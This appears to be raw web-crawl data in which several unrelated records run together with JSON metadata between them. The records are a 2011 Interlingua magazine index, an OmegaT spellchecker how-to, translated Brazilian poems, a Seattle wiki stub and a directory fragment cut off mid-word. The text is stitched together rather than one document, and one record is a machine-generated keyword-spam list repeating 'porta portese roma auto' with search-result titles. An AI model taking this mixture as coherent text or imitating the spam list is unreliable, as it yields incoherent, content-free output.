Como contribuer||Interlingua|\n\n\nNo. 4\/2011, julio-augusto\n|1||Vacantias 2011 con interlingua||Le vacantias se approxima – o ha ja comenciate. Isto es le optime chance pro occupar se con interlingua. Panorama presenta lectura, exercitios, e-libros gratuite e bon libros a parve precios pro le estate.||Copertura|\n|1||Le conferentia de interlingua ha comenciate||Bulgaria es le scena international durante un septimana.||Copertura|\n|1||Nove nation||Africa celebrava Sudan del Sud, ma le festa va tosto finir e le defias apparer.||Copertura|\n|1||Nove passage polar||Route russe pro le traffico.||Copertura|\n|1||Insula cambia data||Linea de Datas movite.||Copertura|\n|1||Economia explicate in interlingua||Renominate casa editorial american publica discurso in interlingua in nove libro economic.||Copertura|\n|1||Labyrintho e quiz||Gymnastica pro le cerebro.||Copertura|\n|1||Aventura con vespas||Un ver historia estive.||Copertura|\n|2||Silentio anterior al tempesta...||Breinstrup, Thomas||Editorial|\n|3||Preste, parate, al labor...!||Le conferentia international de interlingua in Bulgaria ha comenciate. Ultime chance pro inviar salutes.||Breinstrup, Thomas||Conferentia de interlingua|\n|4||Cypro debe cooperar||Th.||Nota|\n|4||Turcos expecta referendum||Th.||Nota|\n|4+5||Passage in le Mar Polar cambia toto||Quatro menses per anno il es ora possibile pro naves de transporto navigar preter tote le costa del nord de Russia. Isto pote sparniar 40 pro cento del tempore que le transportos dura hodie per le Canal de Suez.||Breinstrup, Thomas||Nova|\n|6+7||Nation numero 196 es african||Le povre Sudan del Sud deveniva independente in le initio de julio.||Breinstrup, Thomas||Nova|\n|7||Lucta lingual de patentes europee solvite – forsan||Espania e Italia refusa acceptar que lor linguas non pote esser usate in un futur systema commun de patentes europee.||Th.||Nova|\n|8||Otto von Habsburg ha morite||Le filio del ultime imperatur austriac-hungare se interessava anque pro interlingua como un ver europeo.||Breinstrup, Thomas||Nova|\n|8||Inimicos face lingua morir||Le ultime duo parlatores de ayapaneco non parla le un al altere.||Th.||Nova|\n|9||Labyrintho||passatempores in interlingua||Soreto, Carlos||Labyrintho|\n|10+11||Usa interlingua durante tu vacantias||Le longe, lucide dies estive da optime possibilitates de leger e usar interlingua. Ecce alcun ideas de como facer durante le vacantias estive – e como apprender un poco plus in un maniera amusante.||Breinstrup, Thomas||Novas de interlingua|\n|12||Firmas usa interlingua||Novas de interlingua|\n|12||Duo evangelios es preste||Novas de interlingua|\n|12||Annuncio pro crear interesse||Novas de interlingua|\n|12||Correction||Novas de interlingua|\n|13||Dictionario de interlingua progrede||Novas de interlingua|\n|13||Redactor interviewa redactor||Novas de interlingua|\n|13||Extra pro abonatos||Classicos per voces classic||Extra|\n|14||Confidentia in interlingua||Novas de interlingua|\n|14||Interforo mergeva del aqua||Novas de interlingua|\n|14||Interlingua official in le UE||Novas de interlingua|\n|15||Pionero moriva||Necrologia: Norman H. Divall||Th.||Necrologia|\n|15||Margot Danielsson moriva||Necrologia: Margot Danielsson||Th.||Necrologia|\n|16||Quiz in interlingua||Madsen, W.||Quiz|\n|16||Interlingua practic||Reclamo passive||Interlingua in practica|\n|17||Insula move avante in tempore||Le samoanos move le Linea de Datas e assi perde un die pro esser in linea con le statos vicin.||Breinstrup, Thomas||Scientia|\n|18+19||Parasito periculose trovate in Svedia||Un vulpe infectate ha causate inquietude in Svedia.||Enfors, Erik||Scientia|\n|19||Comportamento bon in le natura, gratias||Le homines non es bon a mantener le natura munde. Isto da fundo a parasitos.||Enfors, Erik||Scientia|\n|19||Caffeina es periculose||Nota|\n|19||Malaria veniva de gorillas||Nota|\n|20||Essayos economic con texto in interlingua||Casa editorial publica nove libro con obras per le ex-presidente del UMI – uno in interlingua original.||Breinstrup, Thomas||Libros|\n|21||Historia del Die Pi||Patricio Negrete: \"Le Die Pi\"||Libros|\n|21||Nove publicationes in interlingua||Libros|\n|22||Un competition interrumpite||Bierce, Ambrose||Litteratura|\n|23||Un aventura con vespas||Enfors, Erik||Litteratura|\n|24||704 ledite in cerebro in Asterix||Th.||Le mundo actual|\n|24||Malta permitte divorcios||Th.||Le mundo actual|\n|24||Tremor de terra moveva Japon||Beq||Le mundo actual|\n|24||Population mundial: 10 milliardos||Beq||Le mundo actual|\n|24||Aqua munde con minus de energia||Beq||Le mundo actual|\n|25||Cooperation inter elephantes||Beq||Le mundo actual|\n|25||Economisation per aere||Beq||Le mundo actual|\n|25||Cifras dupa||Beq||Le mundo actual|\n|25||Thunno vendite pro precio enorme||Beq||Le mundo actual|\n|25||Connexion inter divorcio e peso||Beq||Le mundo actual|\n|26||Un supertoto es ... super toto||Breinstrup, Thomas||Le parolas del mense|\n|26||Il es necessari comprender||Breinstrup, Thomas||Le parolas del mense|\n|26||Un par e un copula||Breinstrup, Thomas||Le parolas del mense|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Radio Interlingua||Novas de nomines|\n|28||Ramiro Barros de Castro||Novas de nomines|\n|28||Victor Sitnichenko||Novas de nomines|\n|28||Que es interlingua? - Como contribuer||Interlingua|\n\n\nNo. 5\/2011, septembre-octobre (edition dedicate al 19ne Conferentia International de Interlingua\n|1||3-2-1... - 28 paginas super le conferentia||Copertura|\n|2||Le message de Bulgaria: In avante!||Breinstrup, Thomas||Editorial|\n|3+4||Motivation e dedication debe professionalisar interlingua||Le conferentia de interlingua in Bulgaria initiava un nove era.||Breinstrup, Thomas||Conferentia de interlingua|\n|4||Excellente punctos al conferentia||Th.||Nota|\n|4||Radio super conferentia||Th.||Nota|\n|4||Mini-curso per Facebook||Th.||Nota|\n|5||Transmission directe de session||Th.||Conferentia de interlingua|\n|5||Curso de video e audio||Conferentia de interlingua|\n|5||Le vita quotidian in interlingua||Conferentia de interlingua|\n|6+7||Nove portas al mundo de interlingua||Le entrata principal per www.interlingua.com devenira plus facile e clar – e il habera plus de videos.||Breinstrup, Thomas||Conferentia de interlingua|\n|7||Le nove porta||Factos||Conferentia de interlingua|\n|7||Maritage international||Th.||Conferentia de interlingua|\n|8||Interlingua 1-2-3||Th.||Conferentia de interlingua|\n|9||Potential enorme||Th.||Conferentia de interlingua|\n|9||Le conferentia 2013 essera un magnete||Th.||Conferentia de interlingua|\n|10+11||Diligente production de nove films in interlingua||Quasi 30 breve presentationes de interlingua in le linguas national e un amusante film pro le inseniamento esseva registrate in Bulgaria.||Breinstrup, Thomas||Conferentia de interlingua|\n|11||Salutes de tote le mundo||Th.||Nota|\n|11||Repastos ric||Th.||Nota|\n|11||Un minuta de silentio||Th.||Nota|\n|12+13||\"Isto es le puncto de cambiamento\"||Le conferentia in Bulgaria es le initio de un nove era plus visibile e dynamic pro interlingua, dice le secretario general del Union Mundial pro Interlingua, qui gaude a un collaboration intense ma expecta plus de labor seriose de tote le organisation.||Breinstrup, Thomas||Conferentia de interlingua|\n|14+15||Successo con le prime examine de interlingua||Alcunos obteneva 100 pro cento in le prime examines de interlingua sur nivello europee. Tosto omnes pote participar.||Breinstrup, Thomas||Conferentia de interlingua|\n|15||Respecto a victimas norvegian||Th.||Nota|\n|15||Placard official del conferentia||Nota|\n|16||Vaccas visitante||Nota|\n|16||Jogging in le matino||Nota|\n|16||Film amusante in interlingua||Th.||Conferentia de interlingua|\n|17||Conversation con parolas secrete||Conferentia de interlingua|\n|18+19||Festa final||Conferentia de interlingua|\n|20+21||Adjuta lingual sur PCs e telephonos||Correctores orthographic de interlingua pro Windows, Linux, Mac, Android e telephonos mobile es in via.||Breinstrup, Thomas||Conferentia de interlingua|\n|20||Opera in interlingua||Conferentia de interlingua|\n|21||Reunion svedese – como sempre||Th.||Nota|\n|21||Nove incontro franco-german||Th.||Nota|\n|21||Questiones super Radio Interlingua||Th.||Nota|\n|22+23||A retro e in alto||Conferentia de interlingua|\n|24||In le cavos||Th.||Conferentia de interlingua|\n|25||Nove emissiones de radio||Novas de interlingua|\n|25||Interlingua in radio russe||Novas de interlingua|\n|25||Ligamine a traduction in interlingua||Novas de interlingua|\n|25||Nove functiones in Interforo||Novas de interlingua|\n|26||Cantario numero 10||Th.||Libros|\n|26||Exposition de libros||Th.||Libros|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Péter Kovács||Novas de nomines|\n|28||Lennart Åberg||Novas de nomines|\n|28||Martijn Dekker||Novas de nomines|\n|28||Alix Mahé-Potet||Novas de nomines|\n|28||Que es interlingua? - Como contribuer||Interlingua|\n\n\nNo. 6\/2011, novembre-decembre\n|1||Incontro nordic de interlingua sur belle insula||Invitation a cursos intensive e le traditional incontro nordic in julio 2012 – specialmente pro juvenes e familias||Copertura|\n|1||Interlingua in exposition||Milles de visitatores||Copertura|\n|1||Interlingua – bon anno nove 2012||Toto super 2012||Copertura|\n|1||Nos es 7.000.000.000||Le population explode.||Copertura|\n|1||Die de interlingua||Ideas pro le 15 de januario.||Copertura|\n|1||Premiato Nobel ja ben in interlingua||Le poeta svedese Tomas Tranströmer ja esseva traducite in interlingua ante 37 annos.||Copertura|\n|1||Extra: Cantario de Natal e novella classic||Le traditional Cantario de Natal, cartas de Natal special e un surprisa es le Extras pro le lectores.||Copertura|\n|2||Prepara vos pro 2012 – un anno memorabile||Breinstrup, Thomas||Editorial|\n|3||Incontro nordic in Svedia in julio 2012||Juvenes in particular es incoragiate a participar, quando le organisationes nordic de interlingua arrangia le 13tie incontro de interlingua in un insula al nord de Göteborg.||Breinstrup, Thomas||Novas de interlingua|\n|4||7.000.000.000 homines in le globo||Le population del mundo se ha duplicate durante 44 annos e conta ora plus que septe milliardos.||Breinstrup, Thomas||Nova|\n|5||Papa Natal in crise||Papa Natal in Groenlandia ha facite bancarupta e assi non poteva responder al infantes qui le scribe. Ma un solution ha apparite justo ante Natal.||Breinstrup, Thomas||Nova|\n|5||Lege de regentes cambiate||Th.||Nota|\n|5||Duo nove ursos pyrenee||Th.||Nota|\n|5||Azerbaidjan gania sede||Th.||Nota|\n|6||Le era del naves spatial ha finite||Le ultime nave spatial se ha retirate.||Breinstrup, Thomas||Nova|\n|7+8+9||Interlingua – bon anno nove 2012||Eventos in 2012 in tote le mundo, mense post mense||Breinstrup, Thomas||Nova|\n|10||Premiato Nobel ja in interlingua||Plure obras per le poeta svedese Tomas Tranströmer existe desde multe annos in interlingua.||Breinstrup, Thomas||Novas de interlingua|\n|11||Stand de interlingua in grande exposition||Pro le secunde vice interlingua esseva ben representate in le exposition le plus grande de libros in Scandinavia.||Breinstrup, Thomas + Enfors, Erik||Novas de interlingua|\n|12||Union german se reinventa||Novas de interlingua|\n|12||Mini-curso de interlingua continua||Novas de interlingua|\n|12||Radio Interlingua – ora con video||Novas de interlingua|\n|12||Papiros del examine es in via||Novas de interlingua|\n|12||Prime incontro con representantes||Novas de interlingua|\n|13||Interlingua.com se developpa||Novas de interlingua|\n|13||Nove examine in julio 2012||Novas de interlingua|\n|13||Café Interlingua in TV||Th.||Novas de interlingua|\n|14||Extra pro abonatos||Classico pro le dies de Natal | Cantario de Natal | Belle Cartas de Natal | Calendario pro 2012||Extra|\n|15||Preste pro le Die de Interlingua||Le 15 de januario es le die annual pro facer reclamos pro interlingua in collaboration con tote le mundo.||Breinstrup, Thomas||Novas de interlingua|\n|16||Giovanni Blandino ha morite||Le secunde associato distinguite del UMI esseva un diligente autor de libros in interlingua.||Breinstrup, Thomas||Necrologia|\n|17||Le major lingual||Necrologia: Bertil Österlind||Stenström, Ingvar||Necrologia|\n|17||Musica e interlingua||Necrologia: Harriet Sellin-Jensen||Stenström, Ingvar||Necrologia|\n|18||Labyrintho||passatempores in interlingua||Soreto, Carlos||Labyrintho|\n|19||Quiz in interlingua||Madsen, W.||Quiz|\n|19||Interlingua practic||Brochures in bibliotheca||Interlingua in practica|\n|20||Interlingua como lingua ponte||Harald Schmidt-El Khaldi: \"Interlingua und EuroCom – Aufmunterung zum Erkunden romanischer Sprachen\"||Th.||Libros|\n|20||Duo annos con le Almanac||Th.||Libros|\n|21||Missa in interlingua||\"Missa in interlingua e Orationes in interlingua\"||Th.||Libros|\n|21||Dictionario biologic preste pro Natal||\"Dictionario biologic interlingua-anglese\"||Th.||Libros|\n|21||Nove publicationes in interlingua||Libros|\n|22+23||Le gnomos Natal adjuta le molinero||Un conto nederlandese, traduction: Thomas Breinstrup||Litteratura|\n|23||Attendente...||traduction: Vladas Kazlauskas||Riaubiskis, Vytautas||Litteratura|\n|23||Parolas typic pro Tomas Tranströmer||traduction: Erik Enfors||Tranströmer, Tomas||Litteratura|\n|24||Le moneta le plus grande||Th.||Le mundo actual|\n|24||Como soldar ligno||Beq||Le mundo actual|\n|24||Phobia curate per PC||Beq||Le mundo actual|\n|24||Surrider a demanda in le autobus||Beq||Le mundo actual|\n|24||Unic in le mundo||Beq||Le mundo actual|\n|25||Le fin de Asterix post 52 annos||Th.||Le mundo actual|\n|25||Autor sepelite in porto||Th.||Le mundo actual|\n|25||Diamantes pone nove record||Th.||Le mundo actual|\n|25||Simias pro Shakespeare||Th.||Le mundo actual|\n|26||Le parolas del mense||Nomines de insulas | Sede e sedia | Quando le nocte es die||Breinstrup, Thomas||Le parolas del mense|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Snezhana Tsvyatkova||Novas de nomines|\n|28||Sven Frank||Novas de nomines|\n|28||Alix Mahé-Potet||Novas de nomines|","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/www.interlingua.com\/panorama\/indices\/anno_2011","date":"2017-02-25T09:28:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501171706.94\/warc\/CC-MAIN-20170219104611-00499-ip-10-171-10-108.ec2.internal.warc.gz","language":"ina","language_score":0.9728738666,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"ina_Latn_score\": 0.972873866558075}","num_words":5550,"character_repetition_ratio":0.185,"word_repetition_ratio":0.041,"special_characters_ratio":0.257,"stopwords_ratio":0.036,"flagged_words_ratio":0.0,"lang_id_score":0.977,"perplexity_score":6021.9,"cluster_detection":-1} +{"text":"OmegaT ha un su proprie corrector orthographic immediate. Iste functionalitate usa le dictionarios orthographic de LibreOffice e OpenOffice.org. Le dictionarios es disponibile pro multe linguas.\nOn pote installar le nove dictionarios orthographic per OmegaT in le fenestra de dialogo Optiones > Preferences > Spellchecker. In iste fenestra de dialogo, selige o crea un Plica del files dictionarios sur tu disco dur. Le dictionarios orthographic essera ubicate in iste plica. (Non confunder iste plica con le plica \"dictionary\" in le projectos de OmegaT.) Deinde selige le URL (adresse de un sito web) de un repositorio in Internet ex le qual discargar le dictionarios, e colla iste URL in le campo \"URL de dictionarios in Internet\". Un lista de URLs de repositorios is fornite plus avante.\nhttp:\/\/download.services.openoffice.org\/files\/contrib\/dictionaries\/\nhttp:\/\/ftp.uni-kl.de\/pub\/OpenOffice\/contrib\/dictionaries\/\nhttp:\/\/ftp.plusline.de\/OpenOffice\/contrib\/dictionaries\/\nhttp:\/\/ftp.nluug.nl\/office\/openoffice\/contrib\/dictionaries\/\nhttp:\/\/ftp.nluug.nl\/office\/openoffice\/contrib\/dictionaries\/\nhttp:\/\/linorg.usp.br\/OpenOffice.org\/contrib\/dictionaries\/\nhttp:\/\/artfiles.org\/openoffice.org\/contrib\/dictionaries\/\nhttp:\/\/artfiles.org\/openoffice.org\/contrib\/dictionaries\/\nhttp:\/\/ftp.heanet.ie\/mirrors\/openoffice.org\/contrib\/dictionaries\/\nhttp:\/\/ftp.heanet.ie\/mirrors\/openoffice.org\/contrib\/dictionaries\/\nhttp:\/\/freebsd.csie.nctu.edu.tw\/distfiles\/openoffice.org1.1\/\nhttp:\/\/freebsd.csie.nctu.edu.tw\/distfiles\/openoffice.org1.1\/\nhttp:\/\/planetmirror.com\/pub\/OpenOffice\/contrib\/dictionaries\/\nin le fenestra de dialogo Optiones > Preferences > Spellchecker, selige o crea un Plica del files dictionarios sur tu disco dur.\nObtene le files .dic e .aff del dictionario que tu desidera usar, e pone los in iste plica.\nIn ultra a esser disponibile ex le precedente repositorios, le dictionarios orthographic es disponibile como parte del installationes de LibreOffice de OpenOffice.org. LibreOffice e altere versiones plus recente de OpenOffice.org ora usa le formato \"extensiones\" pro iste dictionarios, in le qual le files es supplite in un archivo zip con le extension .oxt. Pro usar le dictionarios orthographic in iste formato, renomina le extension del file ab .oxt a .zip e, usante un application pro archivos zip (assi como WinZip), extrahe le files .dic e .aff.\nLe nomines del files debe exactemente corresponder al codice del lingua de tu lingua final como definite in le fenestra de dialogo Proprietates del projecto (Projecto > Proprietates...). Per exemplo, si tu ha seligite ES-MX (Mexican Spanish) como lingua de destination, le files del dictionario debe esser nominate es_MX.dic e es_MX.aff. Si tu ha disponibile sol un dictionario boliviano espaniol, con le nomines del file es_BO.dic e es_BO.aff, tu debe renominar iste files in es_MX.dic e es_MX.aff, e le dictionario orthographic functionara. (Illo, naturalmente, controlara pro le boliviano plus tosto que pro le espaniol mexicano!)\nControla que le controlo orthographic es habilitate in le fenestra de dialogo del controlo orthographic.\nSi le processo de installation automatic non functiona: controla que tu connexion a Internet es functionante; si assi, proba un URL de repositorio differente. Controla que tu ha permissiones de scriber in le Plica del dictionarios orthographic que tu ha seligite.\nControla que le files .dic e .aff pro tu lingua es presente in le plica del dictionarios orthographic, e que lor nomines corresponde exactemente al codice del lingua de destination.\nCopyright Marc 2009-2011","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/omegat.org\/ia\/howtos\/spelling.html","date":"2018-06-24T22:26:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267867095.70\/warc\/CC-MAIN-20180624215228-20180624235228-00250.warc.gz","language":"ina","language_score":0.9952816367,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"ina_Latn_score\": 0.9952816367149353}","num_words":814,"character_repetition_ratio":0.138,"word_repetition_ratio":0.215,"special_characters_ratio":0.192,"stopwords_ratio":0.057,"flagged_words_ratio":0.0,"lang_id_score":0.996,"perplexity_score":1774.8,"cluster_detection":-1} +{"text":"Parotiditis, diphtheria\nPulso\nPulso\nE le corpore ancora es poc\nLe corpore ancora es poc\nLe corpore ancora es poc\nAssi…\nPulso\nPulso\nScribite e cantate per le poeta e musico Arnaldo Antunes,\nPulso\nnos preca a \"Papa del Celo\"\nnos pete pro Ille benedicer\nnostre jardinetto sub le lumine lunar\nIn basso del stellas, del universo\nintra le rore, como le flor\nnos face un… verso\nSi nos nos maritarea in le ecclesia del Penha\nsi nos nos calefacerea presso un furno a ligno\nio ja haberea toto e qualcunque cosa io ha\njammais haberea a me le mesme valor\nde nostre amor\nPan, caffe, papaya\npro te alimentar\ne nostre focar va esser nostre nido de amor\ne ad ubi tu vadera io vadera juncte ya\npro te caressar\nAmor oh, oh…\nSi nos nos maritarea in le ecclesia del Penha\nsi nos nos calefacerea presso un furno a ligno\nio ja haberea toto e qualcunque cosa io ha\njammais haberea a me le mesme valor\nde nostre amor\nPan, caffe, papaya\npro te alimentar\ne nostre focar va esser nostre nido de amor\ne ad ubi tu vadera io vadera juncte ya\npro te caressar\nAmor oh, oh…\nQue metro servi\na mesurar nos?\nQue forma es nostre\ne que contento?\nAn nos contine alco?\nAn nos es continite?\nOn nomina nos?\nAn nos es vive?\nA que nos aspira?\nQue nos possede?\nQue nos rememora?\nUbi nos jace?\n(Illo nunquam se fini\nni se ha create.\nMysterio es le tempore\ninequalabile.)\nCarlos Drummond de Andrade,\npoeta brasilian, (1902-1987).\nSi vos vole ascoltar le canto in le voce del brasilian cantor Belchior, vide infra:\n|Le presidente pote paraphrasar Marie Antoinette:\n\n\n\"Si illes non ha pan, que illes mangia bolla!\"\nVamos celebrar\nLe stupiditate human\nVamos celebrar\nLe stupiditate del populo\nCelebrar le juventute sin scholas\nLe infantes morte\nVamos celebrar Eros e Thanatos\nPersephone e Hades\nVamos comemorar como idiotas\nIn cata februario* e die feriate\nVamos celebrar nostre justitia\nLe aviditate e le diffamation\nNostre castelo\nVamos celebrar le fame\nNon haber a qui audir\nVamos celebrar nostre bandiera\nNostre passato\nVamos festear le invidia\nLe intolerantia\nVamos celebrar le aberration\nDe tote nostre manco de senso\nVeni!\nMi corde es in haste\nVeni!\nLe amor sempre ha le porta aperte\nNotas al texto: *epocha de realisation del Carnaval; ** claque ci es in le signification de personas que es fanaticos a un equipa footballistic.\nOh, si!\nio es troppo lasse\nma non pro dicer\nque io non crede plus in te\ncon mi pantalones rubie\nmi jachetta de General\nplen de anellos\nio va\ndescendente\nper tote le vias\ne io va prender ille vetule nave\nio non ha besonio de multe moneta\ngratias a Deo\ne il non me importa\nOh mi honey baby\nbaby honey baby\nOh, si!\nio es troppo lasse\nma non pro dicer\nque io es iente\nforsan io revenira\nunquam io reveni\nqui lo sape?\nma io vole oblidar te\nio besonia\nOh mi grande\nOh mi parve\nOh mi grande obsession\nOh mi honey baby\nIo esseva puero e legeva in le veranda.\nLe parve puero nigre arrivava e habeva comenciate dicer presto:\n\"Mamma ha mandat' demanda'\nsi Vos ha pecunia\ndu' cent' mone'\npro dona' a noi\npr' adjuta' noi\npro eme' lardo\nil ha quasi tres die' que noi no' mangia\nnoi tot' es quasi morien' per fame,\nIn iste momento le umbras\nfervente in le bosco\nillos cerca se in le bosco\ncomo cobras, in le bosco,\nequal a vespertiliones, illos suge se\nillos penetra se — in le bosco –\ncomo vermes.\nUn al alteres trova se\ncomo qui trova le vacuo,\nin le bosco\nle reverso del nihil\nillos trova subito\npro tosto in le bosco\nperder: bosco e vacuitate.\nIn iste momento, le autos\nresona super le beton\nillac inter le bosco e le fluvio –\nin iste momento le mar\ntrepida super le ripa\nillac inter le plagia, e plagia –\nIn iste momento le umbra\ncoperi mundo e vacuitate\nin iste momento le tempore\nsuge le vacuitate, le tempore\ncerca le tempore, illo trova\nle tempore, illo penetra le tempore e perde se\numbra inrolate a umbra,\nnodo de viperas, umbras,\nun sol chaos, cercamento e incontro\ne perdita e toto: umbras.\nLE SECUNDE SOL\nCora Coralina, poetessa brasilian, (1889-1985).\n\"Capoeira es lucta de dansatores. Illo es dansa de gladiatores. Illo es un duello inter cameradas. Illo es joco, illo es ballo, illo es disputa – symbiosis perfecte de fortia e rhythmo, poesia e agilitate. Unic in lo que le movimentos es commandate per le musica e per le canto. Le submission del fortia al rhythmo. Del violentia al melodia. Le sublimation del antagonismos.\ndo\nre\nmi\nio pensa in béla bartók\nio pensa in rita lee\nio pensa in le stradivarius\ne in le varie empleos\nque io habeva\npro arrivar ci\ne ora le turbina falle\ne ora le cabina se parti in duo\ne ora le cosalias tote cade ex le compartimentos\ne io va cadente juncte\nbelle e pallide; mi capillatura nigre\nmi violino contra\nle pecto\nle individuo illac in avante preca\nio sol pensa\ndo\nre\nmi\nio pensa in stravinski\ne in le barbas de klaus kinski\ne in le naso de karabtchevsky\ne in un poema de joseph brodsky\nque unquam io legeva\nsenioras intacte, laxa le cinctura\nproque le solo es belle & illo jam es veniente\none\ntwo\nthree\nAngélica Freitas, poetessa brasilian, (1973-).\nIl es ossos. E a vices, le adipe jalne in le ossos;\ne a vices, le sanguine rubie in le ungulas.\nIl es porcos, o il es le capites del porcos,\non face pender in un croc le capites,\no le facie de stupide morte del porcos\nin le vitro sin brillo del macelleria.\nO le blanco, plus blanc imbibite in rosa,\nle sanguine in le sonio de intestinos,\nsonia le macellero: qui impugna un cultro.\nE le blanc avantal que se bania\no que bibe, le sanguine que salta ab le nervos\nin un imbracio con ossos, ubi vibra le cultro,\ne como brilla le cultro que seca:\nil es iste le virtute del aciero in le pugno, que ascende,\no le menacia in le rota vacue que lo cape\nin le spatio del macelleria, visibile al oculos,\nannuncio de trenchamento. O clava su talia in un petra,\ne le unic oculo vacue se concentra, a attender le carne.\nIl es secturas in le petra vulnerate in sanguine,\no fissuras, ex ubi le morte lo insidia,\nmacellero in le sonio rubie, caressante\nle talia acute, le surriso subtil del cultro,\nque seca. E tunc le cultro es altere cosa:\nni porcos, ni nervos, ni ossos,\nni mesmo le macellero que lo sonia,\nma le parte extensive del bracio que lo vibra,\ne parte indelibile de lo que illo mutila,\nle talia acute, le surriso subtil del cultro, que seca.\nDirceu Villa, poeta brasilian, (1975-).\nsilicone in le cubitos\nlipoaspiration in le talon sinistre\nchirurgia plastic reparator in le region inguinal\ntoxina botulinic in le phalange del digito minime\nrealtiamento in le corio capillute\ninsertion in le labios major vaginal\ncilios false in le region pubic\nimplantation de capillos pubic in le supercilio\ntransplantation capillar in le podice\nrevitalisation de pelle in le aures\nrejuvenescimento del tibias\nclarification chimic in le entranias\ncata cosa in su respective loco\ncata cosa foras ab illo\nCelso Borges, poeta brasilian, (1959-).\nIn le anno passate\nio ha scribite un poema\nque comenciava assi:\n\"io senti le lamina de tu jelosia in mi pecto\"\n- illo esseva un metaphora, il es clar.\nE io non suspectava.\nOra,\nquando tu in me ha clavate le cultello de pellar patatas inter le costas,\nunic successo logic pro nostre amor;\nora, quando io senti le lamina\ne le sanguine tepide propagante se in mi camisa,\nio sape, finalmente e tro tarde,\nle debile expressivitate del metaphoras.\nA causa de isto,\nsi ancora a te place tro multo io,\ndemanda que, in le secunde edition,\non alterara le verso a:\n\"io senti tu jelosia como un lamina in mi pecto\".\nJosé Luis Peixoto, poeta portugese, (1974-).","id":"","dump":"CC-MAIN-2019-18","url":"http:\/\/postamundi.org\/agregator\/?cat=6","date":"2019-04-22T19:07:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578577686.60\/warc\/CC-MAIN-20190422175312-20190422201312-00537.warc.gz","language":"ina","language_score":0.9999564886,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"ina_Latn_score\": 0.999956488609314}","num_words":1685,"character_repetition_ratio":0.042,"word_repetition_ratio":0.091,"special_characters_ratio":0.217,"stopwords_ratio":0.053,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":2503.8,"cluster_detection":-1} +{"text":"Seattle\nSaltar al navigation Saltar al recerca\n|Seattle|\n|Area||369,243614 Kilometro quadrate|\n|Situate in||King County[*]|\n|Zona horari||UTC-08:00, Pacific Time Zone[*], UTC-07:00|\n|Geonames ID||5809844|\n|Sito web: http:\/\/www.seattle.gov\/|\n|Wikimedia Commons Category|\nSeattle\nSeattle es le citate le plus populose in le stato statounitese de Washington. Illo es un porto in le Oceano Pacific que era appellate in honor de Chef Seattle in 1852 e incorporate como un citate in 1869.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/ia.wikipedia.org\/wiki\/Seattle","date":"2019-10-18T04:55:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986677884.28\/warc\/CC-MAIN-20191018032611-20191018060111-00513.warc.gz","language":"ina","language_score":0.9819431901,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"ina_Latn_score\": 0.9819431900978088}","num_words":100,"character_repetition_ratio":0.004,"word_repetition_ratio":0.0,"special_characters_ratio":0.295,"stopwords_ratio":0.1,"flagged_words_ratio":0.0,"lang_id_score":0.977,"perplexity_score":1795.7,"cluster_detection":-1} +{"text":"porta portese roma auto porta portese\nporta portese roma auto browsing at porta portese aparthotels in rome\nporta portese roma auto porta portese flea market il segno in rome\nporta portese roma auto porta portese rome 2019 all you need to before\nporta portese roma auto the market of porta portese in rome italian living con\nporta portese roma auto porta portese rome home tips\nporta portese roma auto porta portese rome italy on tripadvisor address free\nporta portese roma auto porta portese shopping in rome likealocal guide\nporta portese roma auto parcheggio porta portese parking in roma parkme\nporta portese roma auto porta portese rome italy on tripadvisor address free\nporta portese roma auto everything in portaportese portaportese for everyone\nporta portese roma auto porta portese claudio baglioni roma citt 224 eterna\nporta portese roma auto porta portese rome s flea market etruria\nporta portese roma auto porta portese flea market when in rome\nporta portese roma auto mercato di porta portese 23 photos 28 reviews\nporta portese roma auto roma sparita porta portese\nporta portese roma auto porte di roma foto e storia\nporta portese roma auto panoramio photo of roma porta portese\nporta portese roma auto porta portese porta portese roma resmi tripadvisor\nporta portese roma auto porta portese barrish photography\nporta portese roma auto il mercato di porta portese pro loco di roma\nporta portese roma auto porta portese flea market in rome near mlondon33\nporta portese roma auto il mercato di porta portese romatrip it\nporta portese roma auto porta portese il mercatino di roma\nporta portese roma auto porta portese autoaccessori l optional sulle barricate\nporta portese roma auto roteiro domingo em roma porta portese testaccio e\nporta portese roma auto porta portese e il mercato di porta portese guest house\nporta portese roma auto porta portese hotel re testa al centro di roma","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/michellescakehouse.com\/porta-portese-roma-auto.html","date":"2020-01-20T03:18:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250597230.18\/warc\/CC-MAIN-20200120023523-20200120051523-00551.warc.gz","language":"ina","language_score":0.4156912267,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.41569122672080994, \"ita_Latn_score\": 0.19910521805286407, \"por_Latn_score\": 0.07295767217874527, \"lvs_Latn_score\": 0.04260474815964699, \"glg_Latn_score\": 0.03229057043790817, \"ghs_Latn_score\": 0.026180336251854897, \"ile_Latn_score\": 0.025515049695968628, \"lfn_Latn_score\": 0.01835653930902481, \"lat_Latn_score\": 0.01640230417251587, \"guj_Latn_score\": 0.013282579369843006, \"ben_Latn_score\": 0.012152560986578465, \"ido_Latn_score\": 0.010508752427995205}","num_words":488,"character_repetition_ratio":0.432,"word_repetition_ratio":0.14,"special_characters_ratio":0.17,"stopwords_ratio":0.025,"flagged_words_ratio":0.0,"lang_id_score":0.416,"perplexity_score":24747.0,"cluster_detection":-1} +{"text":"Language Tuition Directory\nFind local listings in our Language Tuition Directory with our county or postal town search facility.\nCounty Search\nLanguage Tuition in Berkshire\nLanguage Tuition in Bristol\nLanguage Tuition in Cambridgeshire\nLanguage 